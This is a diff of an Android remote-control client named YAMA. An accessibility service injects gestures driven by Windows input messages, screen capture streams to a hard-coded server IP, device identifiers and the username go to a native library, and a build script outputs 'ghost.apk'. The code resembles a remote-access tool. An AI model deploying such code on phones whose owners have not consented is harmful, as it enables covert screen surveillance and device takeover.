val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
|
||||
val minH = physH * 0.15f // minimum vertical travel
|
||||
val minW = physW * 0.20f // minimum horizontal travel
|
||||
|
||||
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
|
||||
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
|
||||
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
|
||||
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
|
||||
|
||||
when {
|
||||
fromLeft || fromRight -> {
|
||||
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
|
||||
performGlobalAction(GLOBAL_ACTION_BACK)
|
||||
}
|
||||
fromTop -> {
|
||||
// Right half of screen → quick settings; left half → notifications
|
||||
if (down.x > physW * 0.5f) {
|
||||
Log.d(TAG, "Top-swipe quick settings")
|
||||
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
|
||||
} else {
|
||||
Log.d(TAG, "Top-swipe notifications")
|
||||
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
|
||||
}
|
||||
}
|
||||
fromBottom -> {
|
||||
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
|
||||
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
|
||||
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
|
||||
performGlobalAction(GLOBAL_ACTION_RECENTS)
|
||||
} else {
|
||||
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
|
||||
performGlobalAction(GLOBAL_ACTION_HOME)
|
||||
}
|
||||
}
|
||||
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
|
||||
dispatchTap(down.x, down.y)
|
||||
else ->
|
||||
dispatchTouchGesture(strokePoints)
|
||||
}
|
||||
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
|
||||
CaptureService.requestIdr()
|
||||
strokePoints.clear()
|
||||
}
|
||||
|
||||
// ── Double-click → two rapid taps ────────────────────────────
|
||||
WM_LBUTTONDBLCLK -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||
val p = singlePointPath(x, y)
|
||||
val gesture = GestureDescription.Builder()
|
||||
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
|
||||
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
|
||||
.build()
|
||||
dispatchGesture(gesture, null, null)
|
||||
}
|
||||
|
||||
// ── Right-click → long press (600 ms) ────────────────────────
|
||||
WM_RBUTTONDOWN -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
|
||||
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
|
||||
}
|
||||
|
||||
// ── Scroll wheel → vertical swipe ─────────────────────────────
|
||||
WM_MOUSEWHEEL -> {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
|
||||
val delta = (wParam.toInt() ushr 16).toShort().toInt()
|
||||
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
|
||||
val dy = if (delta > 0) 400f else -400f
|
||||
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
|
||||
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
|
||||
CaptureService.requestIdr()
|
||||
}
|
||||
|
||||
// ── Keyboard → global actions only ───────────────────────────
|
||||
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
|
||||
}
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────
|
||||
// Helpers
|
||||
|
||||
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
|
||||
if (points.isEmpty()) return
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||
|
||||
val path = Path()
|
||||
path.moveTo(points[0].second.x, points[0].second.y)
|
||||
for (i in 1 until points.size) {
|
||||
path.lineTo(points[i].second.x, points[i].second.y)
|
||||
}
|
||||
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
|
||||
val duration = maxOf(points.last().first, 50L)
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
|
||||
val ok = dispatchGesture(
|
||||
GestureDescription.Builder().addStroke(stroke).build(),
|
||||
object : GestureResultCallback() {
|
||||
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
|
||||
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
|
||||
},
|
||||
null
|
||||
)
|
||||
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
|
||||
}
|
||||
|
||||
private fun handleKeyDown(vk: Int) {
|
||||
when (vk) {
|
||||
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
|
||||
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
|
||||
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
|
||||
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
|
||||
}
|
||||
}
|
||||
|
||||
private fun dispatchTap(x: Float, y: Float) {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
|
||||
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
|
||||
object : GestureResultCallback() {
|
||||
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
|
||||
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
|
||||
}, null)
|
||||
if (!ok) Log.e(TAG, "dispatchTap returned false")
|
||||
}
|
||||
|
||||
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
|
||||
}
|
||||
65
android/app/src/main/java/com/yama/client/MainActivity.kt
Normal file
@@ -0,0 +1,65 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.app.Activity
|
||||
import android.content.Intent
|
||||
import android.media.projection.MediaProjectionManager
|
||||
import android.os.Bundle
|
||||
import android.util.Log
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
|
||||
class MainActivity : AppCompatActivity() {
|
||||
|
||||
private val serverIp = "91.99.165.207"
|
||||
private val serverPort = 443
|
||||
|
||||
private lateinit var projectionManager: MediaProjectionManager
|
||||
|
||||
companion object {
|
||||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||||
}
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null,
|
||||
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||||
if (savedInstanceState != null) { finish(); return }
|
||||
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
|
||||
}
|
||||
|
||||
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
|
||||
super.onActivityResult(requestCode, resultCode, data)
|
||||
if (requestCode == REQUEST_MEDIA_PROJECTION) {
|
||||
if (resultCode == Activity.RESULT_OK && data != null) {
|
||||
Log.i(CaptureService.TAG, "MediaProjection permission granted")
|
||||
val intent = Intent(this, CaptureService::class.java).apply {
|
||||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||||
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
|
||||
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
|
||||
}
|
||||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||
startForegroundService(intent)
|
||||
} else {
|
||||
startService(intent)
|
||||
}
|
||||
} else {
|
||||
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
|
||||
val intent = Intent(this, CaptureService::class.java).apply {
|
||||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||||
}
|
||||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||
startForegroundService(intent)
|
||||
} else {
|
||||
startService(intent)
|
||||
}
|
||||
}
|
||||
finish()
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
}
|
||||
}
|
||||
26
android/app/src/main/java/com/yama/client/YamaBridge.kt
Normal file
@@ -0,0 +1,26 @@
|
||||
package com.yama.client
|
||||
|
||||
object YamaBridge {
|
||||
init {
|
||||
System.loadLibrary("yama")
|
||||
}
|
||||
|
||||
external fun nativeInit(
|
||||
serverIp: String,
|
||||
serverPort: Int,
|
||||
androidId: String,
|
||||
deviceModel: String,
|
||||
androidVersion: String,
|
||||
screenRes: String,
|
||||
username: String,
|
||||
apkPath: String
|
||||
): Int
|
||||
|
||||
external fun nativeStop()
|
||||
|
||||
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
|
||||
external fun nativeSetScreenSize(width: Int, height: Int)
|
||||
|
||||
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
|
||||
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@color/ic_launcher_background"/>
|
||||
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||
</adaptive-icon>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@color/ic_launcher_background"/>
|
||||
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||
</adaptive-icon>
|
||||
BIN
android/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 3.9 KiB |
BIN
android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 3.1 KiB |
BIN
android/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
android/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 5.6 KiB |
BIN
android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 9.5 KiB |
|
After Width: | Height: | Size: 7.9 KiB |
BIN
android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 14 KiB |
|
After Width: | Height: | Size: 11 KiB |
4
android/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="ic_launcher_background">#F2F2F2</color>
|
||||
</resources>
|
||||
5
android/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">YAMA</string>
|
||||
<string name="accessibility_service_description">YAMA remote control service</string>
|
||||
</resources>
|
||||
8
android/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
|
||||
<item name="colorPrimary">#1A73E8</item>
|
||||
<item name="colorPrimaryDark">#1558B0</item>
|
||||
<item name="colorAccent">#1A73E8</item>
|
||||
</style>
|
||||
</resources>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:accessibilityEventTypes="typeWindowStateChanged"
|
||||
android:accessibilityFeedbackType="feedbackGeneric"
|
||||
android:canPerformGestures="true"
|
||||
android:notificationTimeout="0"
|
||||
android:settingsActivity="com.yama.client.MainActivity" />
|
||||
4
android/build.gradle
Normal file
@@ -0,0 +1,4 @@
|
||||
plugins {
|
||||
id 'com.android.application' version '8.10.1' apply false
|
||||
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
|
||||
}
|
||||
307
android/build_apk.sh
Normal file
@@ -0,0 +1,307 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build YAMA Android APK
|
||||
# Works on WSL, native Linux, macOS
|
||||
# Usage: ./build_apk.sh [debug|release] (default: debug)
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
cd "$SCRIPT_DIR"
|
||||
|
||||
# ── Detect WSL ───────────────────────────────────────────────────────────────
|
||||
IS_WSL=false
|
||||
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
|
||||
|
||||
# ── Find Android SDK ─────────────────────────────────────────────────────────
|
||||
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
|
||||
SDK_DIR="$ANDROID_HOME"
|
||||
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
|
||||
SDK_DIR="$ANDROID_SDK_ROOT"
|
||||
elif $IS_WSL; then
|
||||
# Auto-detect from Windows %USERPROFILE%
|
||||
WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
|
||||
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
|
||||
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
|
||||
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
|
||||
elif [ -d "$HOME/Android/Sdk" ]; then
|
||||
SDK_DIR="$HOME/Android/Sdk"
|
||||
elif [ -d "$HOME/Library/Android/sdk" ]; then
|
||||
SDK_DIR="$HOME/Library/Android/sdk"
|
||||
else
|
||||
SDK_DIR=""
|
||||
fi
|
||||
|
||||
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
|
||||
echo "ERROR: Android SDK not found."
|
||||
echo ""
|
||||
echo " WSL: auto-detected from Windows %USERPROFILE%"
|
||||
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
|
||||
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
|
||||
exit 1
|
||||
fi
|
||||
echo "SDK : $SDK_DIR"
|
||||
|
||||
# ── Check Java 17+ ───────────────────────────────────────────────────────────
|
||||
if ! command -v java &>/dev/null; then
|
||||
echo "ERROR: Java not found."
|
||||
echo " sudo apt install openjdk-17-jdk"
|
||||
exit 1
|
||||
fi
|
||||
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
|
||||
if [ "${JAVA_VER:-0}" -lt 17 ]; then
|
||||
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
|
||||
echo " sudo apt install openjdk-17-jdk"
|
||||
exit 1
|
||||
fi
|
||||
echo "Java: $(java -version 2>&1 | head -1)"
|
||||
|
||||
# ── Check cmake ───────────────────────────────────────────────────────────────
|
||||
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
|
||||
if ! command -v cmake &>/dev/null; then
|
||||
echo "ERROR: cmake not found."
|
||||
echo " sudo apt install cmake"
|
||||
echo ""
|
||||
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
|
||||
exit 1
|
||||
fi
|
||||
echo "CMake: $(cmake --version | head -1)"
|
||||
|
||||
# ── Check ninja ──────────────────────────────────────────────────────────────
|
||||
if ! command -v ninja &>/dev/null; then
|
||||
echo "ERROR: ninja not found."
|
||||
echo " sudo apt install ninja-build"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
|
||||
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
|
||||
# WSL binfmt_misc executes .exe files transparently from bash.
|
||||
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
|
||||
# from previous attempts don't block the check.
|
||||
if $IS_WSL; then
|
||||
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||
| sort -V | tail -1)
|
||||
# Stub every installed build-tools version — the project may reference any of them
|
||||
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||
| sort -V)
|
||||
LATEST_BT=""
|
||||
if [ -z "$BT_VERSIONS" ]; then
|
||||
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
|
||||
else
|
||||
for BT_DIR in $BT_VERSIONS; do
|
||||
LATEST_BT="$BT_DIR" # last in sorted list = newest
|
||||
VER=$(basename "$BT_DIR")
|
||||
|
||||
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
|
||||
for EXE in "${BT_DIR}"/*.exe; do
|
||||
[ -f "$EXE" ] || continue
|
||||
TOOL=$(basename "$EXE" .exe)
|
||||
BIN="${BT_DIR}/${TOOL}"
|
||||
[ -e "$BIN" ] && rm -rf "$BIN"
|
||||
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
|
||||
chmod +x "$BIN"
|
||||
echo "Stubbed: ${VER}/${TOOL} → $(basename $EXE)"
|
||||
done
|
||||
|
||||
# 2. Ensure tools AGP validates that may not have .exe versions
|
||||
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
|
||||
BIN="${BT_DIR}/${TOOL}"
|
||||
if [ ! -f "$BIN" ]; then
|
||||
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||
chmod +x "$BIN"
|
||||
echo "Noop: ${VER}/${TOOL}"
|
||||
fi
|
||||
done
|
||||
done
|
||||
fi
|
||||
|
||||
# If build.gradle requests a buildToolsVersion that isn't installed, create a
|
||||
# stub directory pointing all tools to the latest installed version.
|
||||
if [ -n "$LATEST_BT" ]; then
|
||||
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
|
||||
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
|
||||
if [ -n "$REQ_VER" ]; then
|
||||
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
|
||||
if [ ! -d "$REQ_DIR" ]; then
|
||||
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
|
||||
mkdir -p "$REQ_DIR"
|
||||
# Copy source.properties so AGP recognises the version
|
||||
if [ -f "${LATEST_BT}/source.properties" ]; then
|
||||
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
|
||||
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
|
||||
else
|
||||
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
|
||||
"$REQ_VER" > "${REQ_DIR}/source.properties"
|
||||
fi
|
||||
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
|
||||
BIN="${REQ_DIR}/${TOOL}"
|
||||
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
|
||||
if [ -f "$SRC" ]; then
|
||||
cp "$SRC" "$BIN"
|
||||
chmod +x "$BIN"
|
||||
else
|
||||
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||
chmod +x "$BIN"
|
||||
fi
|
||||
echo "Forwarded: ${REQ_VER}/${TOOL} → $(basename $LATEST_BT)"
|
||||
done
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
|
||||
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
|
||||
# Create plain-name stubs that call system cmake/ninja instead.
|
||||
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
|
||||
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
|
||||
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||
| sort -V || true)
|
||||
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
|
||||
CVER=$(basename "$SDK_CMAKE_DIR")
|
||||
CBIN="${SDK_CMAKE_DIR}/bin"
|
||||
mkdir -p "$CBIN"
|
||||
for TOOL in cmake ninja; do
|
||||
BIN="${CBIN}/${TOOL}"
|
||||
[ -e "$BIN" ] && rm -rf "$BIN"
|
||||
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
|
||||
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
|
||||
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
|
||||
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
|
||||
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
|
||||
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
|
||||
else
|
||||
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||
echo "CMake noop: ${CVER}/${TOOL}"
|
||||
fi
|
||||
chmod +x "$BIN"
|
||||
done
|
||||
done
|
||||
|
||||
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
|
||||
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
|
||||
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
|
||||
NDK_DIR=""
|
||||
# 1. Honour ANDROID_NDK_HOME if set
|
||||
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
|
||||
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
|
||||
NDK_DIR="$ANDROID_NDK_HOME"
|
||||
fi
|
||||
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
|
||||
if [ -z "$NDK_DIR" ]; then
|
||||
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
|
||||
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
|
||||
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
|
||||
NDK_DIR="$CANDIDATE"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
# 3. Check common install location ~/android-ndk/
|
||||
if [ -z "$NDK_DIR" ]; then
|
||||
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
|
||||
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
|
||||
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
|
||||
NDK_DIR="$CANDIDATE"
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
if [ -z "$NDK_DIR" ]; then
|
||||
# Determine the required NDK version from build.gradle for the download hint
|
||||
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
|
||||
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
|
||||
NDK_MAJ=${REQ_NDK%%.*}
|
||||
echo ""
|
||||
echo "ERROR: Linux NDK not found."
|
||||
echo " The Windows NDK cannot compile native code in WSL."
|
||||
echo ""
|
||||
# Look up the exact Linux zip name from the repository manifest
|
||||
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
|
||||
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
|
||||
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
|
||||
echo " Install the Linux NDK (requires ~600 MB):"
|
||||
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
|
||||
echo " unzip ${ZIP_NAME} -d \$HOME"
|
||||
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
|
||||
echo ""
|
||||
echo " Then re-run ./build_apk.sh"
|
||||
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
|
||||
exit 1
|
||||
fi
|
||||
echo "NDK : $NDK_DIR"
|
||||
fi
|
||||
|
||||
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
|
||||
PROPS="$SCRIPT_DIR/local.properties"
|
||||
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
|
||||
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
|
||||
|
||||
cat > "$PROPS" <<EOF
|
||||
sdk.dir=$SDK_DIR
|
||||
EOF
|
||||
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
|
||||
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
|
||||
fi
|
||||
echo "local.properties written (original backed up to local.properties.bak)"
|
||||
|
||||
restore_props() {
|
||||
if [ -f "$PROPS_BAK" ]; then
|
||||
mv "$PROPS_BAK" "$PROPS"
|
||||
echo "local.properties restored"
|
||||
else
|
||||
rm -f "$PROPS"
|
||||
fi
|
||||
}
|
||||
trap restore_props EXIT
|
||||
|
||||
# ── Build ─────────────────────────────────────────────────────────────────────
|
||||
BUILD_TYPE="${1:-release}"
|
||||
case "$BUILD_TYPE" in
|
||||
release) TASK="assembleRelease" ;;
|
||||
debug) TASK="assembleDebug" ;;
|
||||
clean)
|
||||
chmod +x gradlew
|
||||
./gradlew clean
|
||||
rm -rf "$SCRIPT_DIR/app/.cxx"
|
||||
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
|
||||
echo "Clean done."
|
||||
exit 0
|
||||
;;
|
||||
*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
|
||||
esac
|
||||
|
||||
# ── Release: keystore check ───────────────────────────────────────────────────
|
||||
if [ "$BUILD_TYPE" = "release" ]; then
|
||||
JKS="$SCRIPT_DIR/yama-release.jks"
|
||||
if [ ! -f "$JKS" ]; then
|
||||
echo "ERROR: $JKS not found."
|
||||
echo " Generate once with:"
|
||||
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
|
||||
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
|
||||
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
|
||||
exit 1
|
||||
fi
|
||||
if [ -z "${YAMA_PWD:-}" ]; then
|
||||
read -rsp "Keystore password: " YAMA_PWD
|
||||
echo
|
||||
export YAMA_PWD
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "Building $BUILD_TYPE APK..."
|
||||
chmod +x gradlew
|
||||
./gradlew "$TASK"
|
||||
|
||||
# ── Output ────────────────────────────────────────────────────────────────────
|
||||
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
|
||||
if [ -n "$APK" ]; then
|
||||
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
|
||||
cp "$APK" "$OUT"
|
||||
echo ""
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "APK: $OUT"
|
||||
if $IS_WSL; then
|
||||
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
|
||||
[ -n "$WIN" ] && echo "WIN: $WIN"
|
||||
fi
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
fi
|
||||
77
android/build_zstd_android.sh
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env bash
|
||||
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
|
||||
# 与 linux/lib/libzstd.a 版本对齐(1.5.6)
|
||||
#
|
||||
# 用法:
|
||||
# ./build_zstd_android.sh # 自动查找 NDK
|
||||
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
|
||||
#
|
||||
# 产出:
|
||||
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
|
||||
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
|
||||
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
ZSTD_VERSION="1.5.6"
|
||||
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
|
||||
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
|
||||
ZSTD_DIR="zstd-${ZSTD_VERSION}"
|
||||
|
||||
# --- 定位 NDK ---
|
||||
if [[ -z "${ANDROID_NDK:-}" ]]; then
|
||||
for candidate in \
|
||||
"$HOME/android-ndk-r27c" \
|
||||
